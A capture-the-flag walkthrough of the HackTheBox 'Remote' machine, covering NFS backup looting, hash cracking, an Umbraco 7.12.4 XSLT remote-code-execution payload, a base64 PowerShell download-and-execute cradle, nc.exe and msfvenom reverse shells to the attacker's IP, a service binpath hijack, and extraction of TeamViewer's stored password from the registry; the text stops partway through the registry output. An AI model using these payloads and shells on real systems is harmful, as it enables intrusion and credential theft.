HackTheBox – Remote

Remote is a box recently added to the OSCP-like list. I think it’s a suitable addition since it’s not too difficult.

Enumeration

A lot of ports open, and the ones open tell us it’s a Windows box (135, 139, 445) or at least running Samba. There’s NFS service running on 2049. I briefly ran crackmapexec just to check the domain and OS version.

root@kali:~/CTF/HTB/Remote# crackmapexec smb 10.10.10.180
SMB         10.10.10.180    445    REMOTE           [*] Windows 10.0 Build 17763 x64 (name:REMOTE) (domain:remote) (signing:False) (SMBv1:False)

root@kali:~/CTF/HTB/Remote# crackmapexec winrm 10.10.10.180
WINRM       10.10.10.180    5985   NONE             [*] None (name:10.10.10.180) (domain:None)
WINRM       10.10.10.180    5985   NONE             [*] http://10.10.10.180:5985/wsman

SMB

Let’s try a null enumeration.

root@kali:~/CTF/HTB/Remote# smbmap -H 10.10.10.180
/usr/bin/smbmap:1033: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if len(sys.argv) is 1:
[+] Finding open SMB ports....
[!] Authentication error on 10.10.10.180
[!] Authentication error on 10.10.10.180

I changed this as suggested

root@kali:~/CTF/HTB/Remote# awk 'NR==1033' /usr/bin/smbmap
    if len(sys.argv) == 1:

root@kali:~/CTF/HTB/Remote# smbmap -H 10.10.10.180
[+] Finding open SMB ports....
[!] Authentication error on 10.10.10.180
[!] Authentication error on 10.10.10.180

root@kali:~/CTF/HTB/Remote# smbmap -u anonymous -H 10.10.10.180
[+] Finding open SMB ports....
[!] Authentication error on 10.10.10.180
[!] Authentication error on 10.10.10.180

root@kali:~/CTF/HTB/Remote# smbmap -u anonymous -d remote -H 10.10.10.180
[+] Finding open SMB ports....
[!] Authentication error on 10.10.10.180
[!] Authentication error on 10.10.10.180

Nothing unfortunately.

FTP

I tried enumerating FTP but couldn’t list anything with anonymous access. IppSec here tries to upload a file but fails. Moving on.

Web 47001

There’s a Webserver on TCP 47001 but the default page is 404. nikto found nothing

root@kali:~/CTF/HTB/Remote# nikto -h http://10.10.10.180:47001
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.180
+ Target Hostname:    10.10.10.180
+ Target Port:        47001
+ Start Time:         2020-12-03 22:27:10 (GMT8)
---------------------------------------------------------------------------
+ Server: Microsoft-HTTPAPI/2.0
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7864 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2020-12-03 22:28:44 (GMT8) (94 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Web 80

The landing page looks like some blog.

A look at the page source tells us Umbraco CMS is running

<link rel="stylesheet" href="/css/umbraco-starterkit-style.css" />

but we still need to discover its version. I Googled for a way to discover its version from outside. However the suggested URL

http://10.10.10.180/umbraco/plugins/umbracoContour/UmbracoContour.config

loaded 404. nikto returned this

root@kali:~/CTF/HTB/Remote# nikto -h http://10.10.10.180
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.180
+ Target Hostname:    10.10.10.180
+ Target Port:        80
+ Start Time:         2020-12-03 22:21:26 (GMT8)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Server banner has changed from '' to 'Microsoft-IIS/10.0' which may suggest a WAF, load balancer or proxy is in place
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3092: /home/: This might be interesting...
+ OSVDB-3092: /intranet/: This might be interesting...
+ /umbraco/ping.aspx: Umbraco ping page found
+ 7863 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2020-12-03 22:25:26 (GMT8) (240 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

I also ran gobuster but it had way too many hits and I cancelled it when I got a shell. As per nikto /umbraco loaded a login page

We have no emails or domains to test though. Moving on to NFS

NFS

Run showmount to list all the shares

root@kali:~/CTF/HTB/Remote# showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)

This means that basically any IP can mount the share. IppSec adds that you can try -a if you want to see a list of hosts which mounted the share. The name site_backups look interesting too. Let’s mount it (be sure to create the mount point first)

root@kali:~/CTF/HTB/Remote# mount -t nfs -o vers=2 10.10.10.180:/site_backups /mnt/remote -o nolock
root@kali:~/CTF/HTB/Remote# df -h
Filesystem                  Size  Used Avail Use% Mounted on
udev                        2.6G     0  2.6G   0% /dev
tmpfs                       529M  8.1M  521M   2% /run
/dev/mapper/kali--vg-root    34G   15G   18G  47% /
tmpfs                       2.6G   41M  2.6G   2% /dev/shm
tmpfs                       5.0M     0  5.0M   0% /run/lock
tmpfs                       2.6G     0  2.6G   0% /sys/fs/cgroup
/dev/sda1                   236M   85M  139M  39% /boot
tmpfs                       529M   24K  529M   1% /run/user/0
10.10.10.180:/site_backups   30G   12G   19G  40% /mnt/remote
root@kali:~/CTF/HTB/Remote# ls -lah /mnt/remote
total 22K
drwx------ 2 4294967294 4294967294 4.0K Feb 24  2020 .
drwxr-xr-x 3 root       root       4.0K Dec  3 22:42 ..
drwx------ 2 4294967294 4294967294   64 Feb 21  2020 App_Browsers
drwx------ 2 4294967294 4294967294 4.0K Feb 21  2020 App_Data
drwx------ 2 4294967294 4294967294 4.0K Feb 21  2020 App_Plugins
drwx------ 2 4294967294 4294967294   64 Feb 21  2020 aspnet_client
drwx------ 2 4294967294 4294967294  48K Feb 21  2020 bin
drwx------ 2 4294967294 4294967294 8.0K Feb 21  2020 Config
drwx------ 2 4294967294 4294967294   64 Feb 21  2020 css
-rwx------ 1 4294967294 4294967294  152 Nov  2  2018 default.aspx
-rwx------ 1 4294967294 4294967294   89 Nov  2  2018 Global.asax
drwx------ 2 4294967294 4294967294 4.0K Feb 21  2020 Media
drwx------ 2 4294967294 4294967294   64 Feb 21  2020 scripts
drwx------ 2 4294967294 4294967294 8.0K Feb 21  2020 Umbraco
drwx------ 2 4294967294 4294967294 4.0K Feb 21  2020 Umbraco_Client
drwx------ 2 4294967294 4294967294 4.0K Feb 21  2020 Views
-rwx------ 1 4294967294 4294967294  28K Feb 20  2020 Web.config

Interesting so this appears to be a backup of the webroot folder. Maybe we can discover the Umbraco CMS version here? I Googled “check umbraco version” and found these where the second link revealed that it was stored in web.config

Also you can check in the web.config for the umbracoConfigurationStatus key under appSettings:

<add key=”umbracoConfigurationStatus” value=”4.5.2″ />

so I greped for appSettings

root@kali:/mnt/remote# grep -n appSettings Web.config
39:     <appSettings>
65:     </appSettings>

and checked those lines where I saw

<add key=”umbracoConfigurationStatus” value=”7.12.4″ />

searchsploit tells us there’s an exploit for that.

root@kali:/mnt/remote# searchsploit umbraco
--------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                 |  Path
--------------------------------------------------------------------------------------------------------------- ---------------------------------
Umbraco CMS - Remote Command Execution (Metasploit)                                                            | windows/webapps/19671.rb
Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution                                                     | aspx/webapps/46153.py
Umbraco CMS SeoChecker Plugin 1.9.2 - Cross-Site Scripting                                                     | php/webapps/44988.txt
--------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

46153 is promising and indeed the version looks a little familiar because I did a box which had the same vulnerability but this exploits explicitly requires creds which we don’t have. I did a search for “get credentials from umbraco database -remote” and found this. So let’s grep for connectionString

root@kali:/mnt/remote# grep connectionString -A5 -B5 -n Web.config
61-
62-    <add key="Umbraco.ModelsBuilder.Enable" value="true" />
63-    <add key="Umbraco.ModelsBuilder.ModelsMode" value="PureLive" />
64-
65-     </appSettings>
66:     <connectionStrings>
67-             <remove name="umbracoDbDSN" />
68:             <add name="umbracoDbDSN" connectionString="Data Source=|DataDirectory|\Umbraco.sdf;Flush Interval=1;" providerName="System.Data.SqlServerCe.4.0" />
69-             <!-- Important: If you're upgrading Umbraco, do not clear the connection string / provider name during your web.config merge. -->
70:     </connectionStrings>
71-
72-     <system.data>
73-             <DbProviderFactories>
74-                     <remove invariant="System.Data.SqlServerCe.4.0" />
75-                     <add name="Microsoft SQL Server Compact Data Provider 4.0" invariant="System.Data.SqlServerCe.4.0" description=".NET Framework Data Provider for Microsoft SQL Server Compact" type="System.Data.SqlServerCe.SqlCeProviderFactory, System.Data.SqlServerCe" />
--
96-      change the connection string named "DefaultConnection" to connect to an instance
97-      of SQL Server (including SQL Azure and SQL  Compact) instead of to SQL Server Express.
98-      -->
99-              <sessionState mode="InProc" customProvider="DefaultSessionProvider">
100-                    <providers>
101:                            <add name="DefaultSessionProvider" type="System.Web.Providers.DefaultSessionStateProvider, System.Web.Providers, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" connectionStringName="DefaultConnection" />
102-                    </providers>
103-            </sessionState>
104-            <pages enableEventValidation="false">
105-                    <controls>
106-                            <add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />

Unable to make sense of this I googled and found this where the connectionString entry was similar to mine

Your connection string clearly shows that you’re using default SQL Server CE database (Umbraco.sdf). You can find the Umbraco.sdf file in the /App_Data folder.

Great let’s check that SDF file

root@kali:/mnt/remote# ls -lah App_Data/
total 248K
drwx------ 2 4294967294 4294967294 4.0K Feb 21  2020 .
drwx------ 2 4294967294 4294967294 4.0K Feb 24  2020 ..
drwx------ 2 4294967294 4294967294   64 Feb 21  2020 cache
drwx------ 2 4294967294 4294967294 4.0K Feb 21  2020 Logs
drwx------ 2 4294967294 4294967294 4.0K Feb 21  2020 Models
drwx------ 2 4294967294 4294967294   64 Feb 21  2020 packages
drwx------ 2 4294967294 4294967294 4.0K Feb 21  2020 TEMP
-rwx------ 1 4294967294 4294967294  36K Feb 20  2020 umbraco.config
-rwx------ 1 4294967294 4294967294 1.9M Feb 20  2020 Umbraco.sdf

Let’s see how to open it. I Googled “linux open sdf file -remote” and found this. I didn’t want to try Visual Studio so I tried another Google result

root@kali:~/CTF/HTB/Remote/site_backup# curl -F files[]=@Umbraco.sdf https://www.rebasedata.com/api/v1/convert?outputFormat=csv -o Umbraco.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 1920k  100    81  100 1920k      5   130k  0:00:16  0:00:14  0:00:02    21

root@kali:~/CTF/HTB/Remote/site_backup# file Umbraco.zip
Umbraco.zip: JSON data
root@kali:~/CTF/HTB/Remote/site_backup# cat Umbraco.zip
{"error":"Unknown error while converting. Contact the support to find out more."}

No luck here. We can try to use strings to read it though.

root@kali:~/CTF/HTB/Remote/site_backup# strings Umbraco.sdf | head -n 100
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32
@{pv
qpkaj
dAc0^A\pW
(1&a$
"q!Q
umbracoDomains
domainDefaultLanguage
umbracoDomains
domainRootStructureID
umbracoDomains
domainName
umbracoDomains
PK_umbracoDomains
PK_umbracoDomains
umbracoDomains
PK_umbracoDomains
umbracoDomains
FK_umbracoDomains_umbracoNode_id
PK_structure
umbracoNode
__SysObjects
umbracoLog
umbracoLog
umbracoLog
userId
umbracoLog
NodeId
umbracoLog
Datestamp
(GETDATE())
umbracoLog
DF__umbracoLog__0000000000000179
Datestamp
umbracoLog
logHeader
umbracoLog
logComment
umbracoLog
PK_umbracoLog
PK_umbracoLog
umbracoLog
PK_umbracoLog
umbracoLog
IX_umbracoLog
__SysObjects
cmsMacro
cmsMacro
cmsMacro
uniqueId
cmsMacro
macroUseInEditor
('0')
cmsMacro
DF__cmsMacro__000000000000018E
macroUseInEditor
cmsMacro
macroRefreshRate
('0')
cmsMacro
DF__cmsMacro__0000000000000193
macroRefreshRate
cmsMacro
macroAlias
cmsMacro
macroName
cmsMacro
macroScriptType
cmsMacro
macroScriptAssembly
cmsMacro
macroXSLT
cmsMacro
cmsMacro
macroCacheByPage
('1')
cmsMacro
DF__cmsMacro__00000000000001A2
macroCacheByPage
cmsMacro
macroCachePersonalized
('0')
cmsMacro
DF__cmsMacro__00000000000001A7
macroCachePersonalized
cmsMacro
macroDontRender
('0')
cmsMacro
DF__cmsMacro__00000000000001AC
macroDontRender
cmsMacro
macroPython

Wow interesting the top few lines look like some kind of hash. Let’s put it in a file and crack it with john.

root@kali:~/CTF/HTB/Remote/site_backup# cat admin.hash
admin:b8be16afba8c314ad33d812f22a04991b90e2aaa
root@kali:~/CTF/HTB/Remote/site_backup# john --wordlist=/usr/share/wordlists/rockyou.txt --rules admin.hash
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-AxCrypt"
Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-Linkedin"
Use the "--format=Raw-SHA1-Linkedin" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "ripemd-160"
Use the "--format=ripemd-160" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "has-160"
Use the "--format=has-160" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
baconandcheese   (admin)
1g 0:00:00:05 DONE (2020-12-03 23:42) 0.1818g/s 1786Kp/s 1786Kc/s 1786KC/s baconandchipies1..bacon918
Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably
Session completed

Great we got the password.

RCE

Testing the email admin@htb.local for CMS login and the password I was able to login

Ok now we can try 46153. I modified these lines

# Execute a calc for the PoC
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = ""; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
 proc.StartInfo.FileName = "ping.exe"; proc.StartInfo.Arguments = "10.10.14.78";\
 proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
 </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
 </xsl:template> </xsl:stylesheet> ';

login = "admin@htb.local"
password="baconandcheese"
host = "http://10.10.10.180";

Basically I replaced StartInfo.FileName with ping.exe and the arguments with my IP. Ran the exploit and I got pingbacks

root@kali:~/CTF/HTB/Remote# ./46153.py
Start
[]
End

root@kali:~/CTF/HTB/Remote# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
00:02:03.906758 IP 10.10.10.180 > 10.10.14.78: ICMP echo request, id 1, seq 1, length 40
00:02:03.906782 IP 10.10.14.78 > 10.10.10.180: ICMP echo reply, id 1, seq 1, length 40
00:02:05.704864 IP 10.10.10.180 > 10.10.14.78: ICMP echo request, id 1, seq 2, length 40
00:02:05.705014 IP 10.10.14.78 > 10.10.10.180: ICMP echo reply, id 1, seq 2, length 40
00:02:07.256119 IP 10.10.10.180 > 10.10.14.78: ICMP echo request, id 1, seq 3, length 40
00:02:07.256157 IP 10.10.14.78 > 10.10.10.180: ICMP echo reply, id 1, seq 3, length 40
00:02:08.361348 IP 10.10.10.180 > 10.10.14.78: ICMP echo request, id 1, seq 4, length 40
00:02:08.361369 IP 10.10.14.78 > 10.10.10.180: ICMP echo reply, id 1, seq 4, length 40

RCE to shell

With this we can get a PS shell easily. I used the PS download and execute method encoded in base64.

root@kali:~/CTF/HTB/Remote# echo 'IEX(New-Object Net.WebClient).downloadString("http://10.10.14.78/rshell.ps1")' | iconv -t UTF-16LE | base64 -w0
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADcAOAAvAHIAcwBoAGUAbABsAC4AcABzADEAIgApAAoA

So my payload became

# Execute a calc for the PoC
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = ""; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
 proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = "-E SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADcAOAAvAHIAcwBoAGUAbABsAC4AcABzADEAIgApAAoA";\
 proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
 </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
 </xsl:template> </xsl:stylesheet> ';

and I could get a shell

root@kali:~/CTF/HTB/Remote# ./46153.py
Start
[]

root@kali:~/CTF/HTB/Remote# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.180 - - [05/Dec/2020 00:32:28] "GET /rshell.ps1 HTTP/1.1" 200 -

root@kali:~/CTF/HTB/Remote# rlwrap -r nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.78] from (UNKNOWN) [10.10.10.180] 49684
Windows PowerShell running as user REMOTE$ on REMOTE
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv>

Post-exploitation

Here I learned something about checking .NET Framework version. Typically I’ll just check C:\Windows\Microsoft.NET\Framework but that actually tells you up to 4.0 only. Newer versions don’t appear there. The proper way to do it is this way for versions above 4.0

PS C:\Users> reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full
    CBS    REG_DWORD    0x1
    Install    REG_DWORD    0x1
    InstallPath    REG_SZ    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\
    Release    REG_DWORD    0x70bf6
    Servicing    REG_DWORD    0x0
    TargetVersion    REG_SZ    4.0.0
    Version    REG_SZ    4.7.03190

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\1033

Here it tells us 4.7 is installed. Earlier .NET framework versions can also be checked via Registry with

PS C:\Users> reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\CDF
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v2.0.50727
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v3.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v3.5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4.0

With this I ran the latest version of winpeas (which required version > 4.5), privesccheck and powerup. I also resolved a impacket-smbserver problem

[*] Incoming connection (10.10.10.180,49695)
[*] AUTHENTICATE_MESSAGE (\kali,REMOTE)
[-] processRequest (0x1,Missing required parameter 'digestmod'.)
[*] Handle: Missing required parameter 'digestmod'.
[*] Closing down connection (10.10.10.180,49695)

with pip install impacket --upgrade --user

Escalate via configurable service

Priv esc isn’t too hard on this box. The enum scripts show that UsoSvc, run by LocalSystem could be modified and restarted by the user

Name           : UsoSvc
ImagePath      : C:\Windows\system32\svchost.exe -k netsvcs -p
User           : LocalSystem
Status         : Running
UserCanStart   : True
UserCanRestart : True

I tried PowerUp’s Invoke-ServiceAbuse but it didn’t work. So I had to do it manually.

PS C:\Users\Public\Downloads> sc.exe config UsoSvc binpath= "C:\Users\Public\Downloads\nc.exe 10.10.14.78 443 -e powershell.exe"
[SC] ChangeServiceConfig SUCCESS
PS C:\Users\Public\Downloads> sc.exe qc UsoSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: UsoSvc
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Users\Public\Downloads\nc.exe 10.10.14.78 443 -e powershell.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Update Orchestrator Service
        DEPENDENCIES       : rpcss
        SERVICE_START_NAME : LocalSystem
PS C:\Users\Public\Downloads> sc.exe stop UsoSvc

SERVICE_NAME: UsoSvc
        TYPE               : 30  WIN32
        STATE              : 3  STOP_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x3
        WAIT_HINT          : 0x7530
PS C:\Users\Public\Downloads> sc.exe query UsoSvc

SERVICE_NAME: UsoSvc
        TYPE               : 20  WIN32_SHARE_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
PS C:\Users\Public\Downloads> net start UsoSvc

Alternatively sc.exe start UsoSvc is actually better since any failure will be reported while net start is silent. Both give you a SYSTEM shell

root@kali:~/CTF/HTB/Remote# rlwrap -r nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.78] from (UNKNOWN) [10.10.10.180] 49708
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
nt authority\system

Non-persistent shell

Unfortunately, the shell doesn’t last for long. If you ran sc.exe start instead you’ll see this error

PS C:\Users\Public\Downloads> sc.exe start UsoSvc
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

and the shell dies after about 30s or so. I tried to do what J3rryBl4nks did here with an msfvenom payload, this time specifying format exe-service instead

root@kali:~/CTF/HTB/Remote/PE# msfvenom -a x64 --platform windows -p windows/x64/shell_reverse_tcp LHOST=10.10.14.78 LPORT=443 -f exe-service -o shell443_x64.exe
No encoder or badchars specified, outputting raw payload
Payload size: 460 bytes
Final size of exe-service file: 48640 bytes
Saved as: shell443_x64.exe

but got this error when starting the service.

PS C:\Users\Public\Downloads> sc.exe start UsoSvc
[SC] StartService FAILED 1083:

The executable program that this service is configured to run in does not implement the service.

This was strange since I didn’t encounter the problem with nc.exe I googled the error and found this way to resolve it (using this to add the service to the Reg-Multi-SZ entry)

PS C:\Users\Public\Downloads> Get-ItemProperty -Path Registry::"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" -Name LocalServiceAndNoImpersonation | Select -ExpandProperty LocalServiceAndNoImpersonation
SCardSvr
BthHFSrv
QWAVE
fdrespub
upnphost
SSDPSRV
SensrSvc
PS C:\Users\Public\Downloads> Set-ItemProperty Registry::"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" -Name LocalServiceAndNoImpersonation -Value $values
PS C:\Users\Public\Downloads> Set-ItemProperty : Requested registry access is not allowed.
At line:1 char:1
+ Set-ItemProperty Registry::"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Win ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (HKEY_LOCAL_MACH...Version\Svchost:String) [Set-ItemProperty], Securit
   yException
    + FullyQualifiedErrorId : System.Security.SecurityException,Microsoft.PowerShell.Commands.SetItemPropertyCommand

In the end the only way I found to make it persistent was to quickly start another shell before it dies.

PS C:\Windows\system32> Start-Process "C:\Users\Public\Downloads\nc.exe" -ArgumentList "10.10.14.78 443 -e powershell.exe"
Start-Process "C:\Users\Public\Downloads\nc.exe" -ArgumentList "10.10.14.78 443 -e powershell.exe"

root@kali:~/CTF/HTB/Remote# rlwrap -r nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.78] from (UNKNOWN) [10.10.10.180] 49729
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
nt authority\system

Escalate to Administrator via pillaged creds

Another way to is to first notice there are non-Microsoft services running

+------+------------------------------------------------+------+
| TEST | SERVICES > Non-default Services                | INFO |
+------+------------------------------------------------+------+
| DESC | List all registered services and filter out the ones  |
|      | that are built into Windows. It does so by parsing    |
|      | the target executable's metadata.                     |
+------+-------------------------------------------------------+
[*] Found 7 result(s).


Name        : ssh-agent
DisplayName : OpenSSH Authentication Agent
ImagePath   : C:\Windows\System32\OpenSSH\ssh-agent.exe
User        : LocalSystem
StartMode   : Disabled

Name        : TeamViewer7
DisplayName : TeamViewer 7
ImagePath   : "C:\Program Files (x86)\TeamViewer\Version7\TeamViewer_Service.exe"
User        : LocalSystem
StartMode   : Automatic

PS C:\Users> Get-Process -Name TeamViewer_Service

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
   1012      24     5512      19220              2024   0 TeamViewer_Service

There’s an MSF script to do it but I rather not touch that, we can check out its reference though which gives us a Python script to decode the password stored in the registry. From the MSF enum script, we see it looks for these locations for the password

 locations = [
      { value: 'OptionsPasswordAES', description: 'Options Password' },
      { value: 'SecurityPasswordAES', description: 'Unattended Password' }, # for < v9.x
      { value: 'SecurityPasswordExported', description: 'Exported Unattended Password' },
      { value: 'ServerPasswordAES', description: 'Backend Server Password' }, # unused according to TeamViewer
      { value: 'ProxyPasswordAES', description: 'Proxy Password' },
      { value: 'LicenseKeyAES', description: 'Perpetual License Key' }, # for <= v14
    ]

When we check the registry entry, just one of those keys are present namely SecurityPasswordAES

PS C:\Program Files (x86)\TeamViewer> Get-ItemProperty -Path Registry::"HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7"


StartMenuGroup            : TeamViewer 7
InstallationDate          : 2020-02-20
InstallationDirectory     : C:\Program Files (x86)\TeamViewer\Version7
Always_Online             : 1
Security_ActivateDirectIn : 0
Version                   : 7.0.43148
ClientIC                  : 301094961
PK                        : {191, 173, 42, 237...}
SK                        : {248, 35, 152, 56...}
LastMACUsed               : {, 005056B9F482}
MIDInitiativeGUID         : {514ed376-a4ee-4507-a28b-484604ed0ba0}
MIDVersion                : 1
ClientID                  : 1769137322
CUse                      : 1
LastUpdateCheck           : 1584564540
UsageEnvironmentBackup    : 1
SecurityPasswordAES       : {255, 155, 28, 115...}
MultiPwdMgmtIDs           : {admin}
MultiPwdMgmtPWDs          : {357BC4C8F33160682B01AE2D1C987C3FE2BAE09455B94A1919C4CD4984593A77}
Security_PasswordStrength : 3
PSPath                    : Microsoft.PowerShell.Core\Registry::HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7
PSParentPath              : Microsoft.PowerShell.Core\Registry::HKLM\SOFTWARE\WOW6432Node\TeamViewer
PSChildName               : Version7
PSProvider                : Microsoft.PowerShell.Core\Registry

PS C:\Program Files (x86)\TeamViewer> Get-ItemProperty -Path Registry::"HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7" | Select -ExpandProperty SecurityPasswordAES
255
155
28
115
214
107
206
49
172
65
62
174
19
27
70
79
88
